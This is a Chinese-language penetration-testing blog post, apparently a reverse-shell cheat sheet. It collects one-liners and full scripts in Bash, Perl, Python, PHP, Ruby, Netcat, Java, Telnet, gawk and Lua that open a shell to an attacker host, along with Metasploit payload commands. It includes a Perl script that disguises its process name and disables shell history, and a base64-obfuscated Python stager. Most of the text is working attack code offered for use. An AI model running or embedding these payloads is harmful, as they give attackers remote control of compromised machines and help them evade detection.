0x01 Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
这里shell由bash解析,有时候是由sh解析,不一定百发百中***在虚拟机里面试过可行,替换成自己的地址和端口即可******/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用******由于其特殊性,命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了******注意,这里"&"在Linux shell中表示后台运行,当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO****** 2>&1形式用于重定向,2>表示错误重定向,&1表示标准输出;以ls >/dev/null 2>&1为例,2>&1是将标准出错重定向到标准输出,不过在这里又被重定向到了/dev/null这个无底洞里******这里有一个问题:为什么2>&1要写在后面,以command >file 2>&1为例,首先是command > file将标准输出重定向到file中, 2>&1 是标准错误拷贝了标准输出的行为,也就是同样被重定向到file中,最终结果就是标准输出和错误都被重定向到file中******其实还有一个问题,既然2>表示错误重定向,那么0>表示什么呢?查阅资料发现在Linux下输入输出重定向有三个值,其中2已经说过是标准错误信息输出,那0则是标准输入,1则为标准输出了。说到这里,其实又引出了一个新的问题,我们知道进行输出,不是很清楚请大牛指点啊***
http://www.gnucitizen.org/blog/reverse-shell-with-bash上还有一种不同的方法,评论中也有一些想法:
###$ nc -l -p 8080 -vvv$ exec 5<>/dev/tcp/evil.com/8080$ cat &5 >&5; done
这条语句证实可行,这里exec命令可以用来替代当前shell;换句话说,并没有启动子shell,使用这一条命令时任何现有环境变量将会被清除,并重新启动一个shell
exec的man手册如是说:The exec() family of functions replaces the current process image with a new process image
在查exec时发现一个好玩的语句:
exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3 cat
这个语句的作用,应该一看就明了了,不多说,言归正传,nc监听,使用exec反弹的shell其输出只能在目标机器上看到,有图为证***
另外还可以是:
exec /bin/bash 0&0 2>&0
0/dev/tcp/attackerip/4444; sh &196 2>&196
/bin/bash -i > /dev/tcp/attackerip/8080 0&1
***在测试exec /bin/bash 0&0 2>&0语句时,遇到一个问题,终端显示No such file or directory或者干脆找不到命令,怎么让它实现还有待研究******研究表明,exec 2>&0即可,不需要/bin/bash,然后跟上0196;
0x02 Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
使用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多,Perl还是很强大的。
不依赖于/bin/sh的shell:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
这条语句比上面的更为简短,而且确实不需要依赖/bin/sh
系统运行windows时:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
再给出一个完整的Perl的反弹脚本:
#!/usr/bin/perl -w# perl-reverse-shell - A Reverse Shell implementation in PERLuse strict;use Socket;use FileHandle;use POSIX;my $VERSION = "1.0";# Where to send the reverse shell. Change these.my $ip = '127.0.0.1';my $port = 1234;# Optionsmy $daemon = 1;my $auth = 0; # 0 means authentication is disabled and any # source IP can access the reverse shellmy $authorised_client_pattern = qr(^127\.0\.0\.1$);# Declarationsmy $global_page = "";my $fake_process_name = "/usr/sbin/apache";# Change the process name to be less conspicious$0 = "[httpd]";# Authenticate based on source IP address if requiredif (defined($ENV{'REMOTE_ADDR'})) { cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); if ($auth) { unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { cgiprint("ERROR: Your client isn't authorised to view this page"); cgiexit(); } }} elsif ($auth) { cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); cgiexit(0);}# Background and dissociate from parent process if requiredif ($daemon) { my $pid = fork(); if ($pid) { cgiexit(0); # parent exits } setsid(); chdir('/'); umask(0);}# Make TCP connection for reverse shellsocket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { cgiprint("Sent reverse shell to $ip:$port"); cgiprintpage();} else { cgiprint("Couldn't open reverse shell to $ip:$port: $!"); cgiexit();}# Redirect STDIN, STDOUT and STDERR to the TCP connectionopen(STDIN, ">&SOCK");open(STDOUT,">&SOCK");open(STDERR,">&SOCK");$ENV{'HISTFILE'} = '/dev/null';system("w;uname -a;id;pwd");exec({"/bin/sh"} ($fake_process_name, "-i"));# Wrapper around printsub cgiprint { my $line = shift; $line .= "
\n"
; $global_page .= $line;}# Wrapper around exitsub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response.}# Form HTTP response using all the messages gathered by cgiprint so farsub cgiprintpage { print "Content-Length: " . length($global_page) . "\rConnection: close\rContent-Type: text\/html\r\n\r\n" . $global_page;}
0x03 Python
#测试环境为Linux Python2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
另外的形式:[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]还有其他可行的代码
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
另外Metasploit版的代码:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
base64解码:
import socket,structs=socket.socket(2,1)s.connect(('192.168.90.1',1234))l=struct.unpack('>I',s.recv(4))[0]d=s.recv(4096)while len(d)!=l: d+=s.recv(4096)exec(d,{'s':s})
0x04 PHP
#代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");
https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php为一个上传的完整php反弹shell脚本
0x05 Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
当然还有我们很熟悉的MSF模块里面也是有反弹shell的:
#!/usr/bin/env rubyrequire 'socket'require 'open3'#Set the Remote Host IPRHOST = "192.168.1.10" #Set the Remote Host PortPORT = "6667"#Tries to connect every 20 sec until it connects.beginsock = TCPSocket.new "#{RHOST}", "#{PORT}"sock.puts "We are connected!"rescue sleep 20 retryend#Runs the commands you type and sends you back the stdout and stderr.begin while line = sock.gets Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | IO.copy_stream(stdout_and_stderr, sock) end endrescue retryend
0x06 NetCat
nc -e /bin/sh 10.0.0.1 1234 #不同版本的nc不一定支持-e选项
不能使用-e选项时:
mknod backpipe p && nc attackerip 8080 0backpipe/bin/sh | nc attackerip 4444rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/
安装的NC版本有问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
0x07 Java
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[])p.waitFor()
msf使用为:
use payload/java/shell/reverse_tcp
再见一段长代码:
import java.io.*;import java.net.Socket;import java.util.*;import java.util.regex.*;import java.applet.Applet;public class poc extends Applet{ /** * Author: daniel baier alias duddits * Licens: GPL * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher * Version: 0.1 alpha release */ public String cd(String start, File currentDir) { File fullPath = new File(currentDir.getAbsolutePath()); String sparent = fullPath.getAbsoluteFile().toString(); return sparent + "/" + start; } @SuppressWarnings("unchecked") public void init() { poc rs = new poc(); PrintWriter out; try { Socket clientSocket = new Socket("192.168.5.222",10003); out = new PrintWriter(clientSocket.getOutputStream(), true); out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier"); boolean run = true; String s; BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); String startort = "/"; while (run) { String z1; File f = new File(startort); out.println(f.getAbsolutePath() + "> "); s = br.readLine(); z1 = s; Pattern pcd = Pattern.compile("^cd\\s"); Matcher mcd = pcd.matcher(z1); String[] teile1 = pcd.split(z1); if (s.equals("exit")) { run = false; }else if (s.equals(null) || s.equals("cmd") || s.equals("")) { } else if(mcd.find()){ try { String cds = rs.cd(teile1[1], new File(startort)); startort = cds; } catch (Exception verz) { out.println("Path " + teile1[1] + " not found."); } }else { String z2; z2 = s; Pattern pstring = Pattern.compile("\\s"); String[] plist = pstring.split(z2); try { LinkedList slist = new LinkedList(); for (int i = 0; i < plist.length; i++) { slist.add(plist[i]); } ProcessBuilder builder = new ProcessBuilder(slist); builder.directory(new File(startort)); Process p = builder.start(); Scanner se = new Scanner(p.getInputStream()); if (!se.hasNext()) { Scanner sa = new Scanner(p.getErrorStream()); while (sa.hasNext()) { out.println(sa.nextLine()); } } while (se.hasNext()) { out.println(se.nextLine()); } } catch (Exception err) { out.println(f.getAbsolutePath() + "> Command " + s + " failed!"); out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin."); } } } if(!clientSocket.isConnected()){ run = false; out.flush(); out.close(); } } catch (Exception io) { //System.err.println("Connection refused by peer"); } }}
0x08 Telnet
#nc不可用或/dev/tcp不可用时
mknod backpipe p && telnet attackerip 8080 0/bin/bash 1>backpipe
***这里mknod是创建特殊文件-设备文件***
0x09 Xterm
首先开启Xserver: # TCP 6001Xnest :1 # Note: The command starts with uppercase X授予目标机连回来的权限:xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tabxhost +targetip # Run this INSIDE the spawned xterm on the open X Server如果想让任何人都连上:xhost + # Run this INSIDE the spawned xterm on the open X Server假设xterm已安装,连回你的Xserver:xterm -display attackerip:1或者:$ DISPLAY=attackerip:0 xterm
0x10 gawk
#!/usr/bin/gawk -fBEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) }}
0x11 乌云上一个lua实现
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i &3 2>&3');"
***lua之前是真没见过,发现机器竟然一时装不上,唉,留着以后玩吧***
msf反弹:
use payload/cmd/unix/reverse_lua
0x12 参考
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.htmlhttp://roo7break.co.uk/?p=215http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
【往期推荐】
未授权访问漏洞汇总
【内网渗透】对靶机的一次完整折磨
干货|常用渗透漏洞poc、exp收集整理
记一次HW实战笔记 | 艰难的提权爬坑
【超详细】Fastjson1.2.24反序列化漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
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